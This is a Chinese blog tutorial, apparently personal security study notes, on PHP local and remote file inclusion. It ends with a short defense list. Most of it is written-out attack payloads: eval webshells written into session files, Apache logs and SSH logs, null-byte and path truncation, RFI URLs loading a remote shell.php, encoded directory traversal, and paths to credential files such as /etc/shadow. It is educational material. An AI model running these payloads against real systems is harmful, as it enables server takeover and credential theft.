文件包含

Sl0th Lv4

文件包含

0x01 简介及基本知识

攻击方绕过了文件包含函数的参数过滤或限制,从而包含恶意文件,达到执行非预期代码的目的。

文件包含函数

PHP中文件包含函数有以下四种:

1
2
3
4
require()
require_once()
include()
include_once()
  • includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
  • include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
  • 当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

敏感信息路径

Windows系统

1
2
3
4
5
6
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

1
2
3
4
5
6
7
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

0x02 常见Bypass

session文件包含漏洞

条件:

可获取session存储位置

方式:

  1. phpinfo中session.save_path

    第二列是Local Value(局部变量),第三列是Master Value(主变量)。其中Master Value是PHP.ini文件中的内容。Local value是当前目录中的设置,这个值会覆盖Master Value中对应的值。

  2. 猜测默认路径以及常见路径

    • linux下默认存储在/var/lib/php/session
    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID

session可控

1
2
3
4
5
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取(一般是cookie中的PHPSESSID的值)

单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容

假设以上代码传参数ctfs=test,则session文件内容为

username|s:4:"test"

利用

通过可控参数写入恶意代码到session文件,然后通过文件包含漏洞执行此恶意代码getshell

1
2
3
4
5
6
//传马
session.php?ctfs=<?php eval($_POST['cmd']);?>
//也可以写马
session.php?ctfs=<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?>
//利用文件包含漏洞解析该session文件
file.php?file=sess_83317220159fc31cd7023422f64bea1a

攻击步骤

  • 将恶意代码写入session文件
  • 攻击者可以通过PHPinfo或者猜测到session存放的位置
  • 通过开发者模式可以获得文件名称
  • 通过本地文件包含漏洞可以解析session文件达到攻击的目的

%00截断文件包含

条件

  • magic_quotes_gpc=off
  • PHP版本低于5.3.4(5.3.29复现失败,5.2.17成功 建议MAMP pro版本不要超过6.3.2)

原理

截断的核心,就是 chr(0)这个字符。先说一下这个字符,这个字符不为空 (Null),也不是空字符 (""),更不是空格。 当程序在输出含有 chr(0)变量时 chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生。

场景

包含时,给文件名拼接上其余后缀,从而限制了读取文件的类型范围

1
2
3
4
<?php
$file=$_GET['file'];
include ($file.".html");
?>

file.php?file=../../../../../../boot.ini%00

%00截断后面”.html”内容,实际上包含boot.ini

路径长度截断文件包含

可以输入超过最大路劲长度的目录,这样系统就会将后面的路径丢弃,导致拓展名截断

条件

  • Windows下最大路径长度为256B
  • Linux下最大路径长度为4096B(浏览器最多只能输入300多个字符,所以需要抓包)

文件名后叠加./ 不过不能超过此服务器的容量限制

1
file.php?file=test.txt/./....././

日志文件包含

典型的日志文件包含:

  • 中间件日志文件包含
  • ssh日志文件包含

中间件日志文件包含

利用条件:

  • web中间件日志文件的存储位置已知,并且具有可读权限

原理

由于访问网站下其他文件,不论是否访问成功,都会被写入日志文件,因此可以直接访问一句话木马,如

  • 访问 http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
  • 日志文件记录 192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....

浏览器进行了URL编码,导致传入的代码不能正常使用可以通过bp抓包的方式写入恶意代码,这样不会被编码

Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log

ssh日志文件包含

SSH日志文件包含的利用条件是:

  • SSH日志路径已知,并且具有可读权限

SSH日志文件的默认路径为/var/log/auth.log

利用

ssh连接时将用户名设为恶意代码,写入成功后再包含即可

1
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1

远程文件包含

无限制远程文件包含

通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码

条件

1
2
allow_url_fopen=on
allow_url_include=on

payload http://www.abc.com/file.php?file=http://192.168.2.1/shell.php

有限制的远程文件包含

1
include($_GET['filename'].".html");

payload

  • 可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤
    file.php?filename=http://192.168.2.1/shell.php?

  • 可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23

    file.php?filename=http://192.168.2.1/shell.php%23

  • 空格绕过

file.php?filename=http://192.168.2.1/php.txt%20

php伪协议

详见php伪协议学习笔记

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码

  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

2.二次编码

  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

3.容器/服务器的编码方式

  • ../
  • ..\
    • ..%c1%9c

遇到指定后缀的情况

接着考虑指定后缀的情况。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

解决:URL

url格式

1
protocol://hostname[:port]/path/[;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query(?)或fragment(#)来绕过后缀限制。那么利用条件就需要是:

  1. allow_url_fopen = On
  2. allow_url_include = On

姿势一:query(?)

1
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#(%23))

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

防御方案

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败。所以PHP 中使用open_basedir配置限制访问在指定的区域。
  2. 做好文件的权限管理。
  3. 对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。
  4. 对危险字符进行过滤,比如过滤.(点)/(反斜杠)\(反斜杠)等特殊字符。
  5. 尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽量off还是off吧。
  6. 尽量不使用动态包含等等
  • 标题: 文件包含
  • 作者: Sl0th
  • 创建于 : 2022-03-07 00:09:38
  • 更新于 : 2024-07-04 00:10:16
  • 链接: http://sl0th.top/2022/03/07/文件包含/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论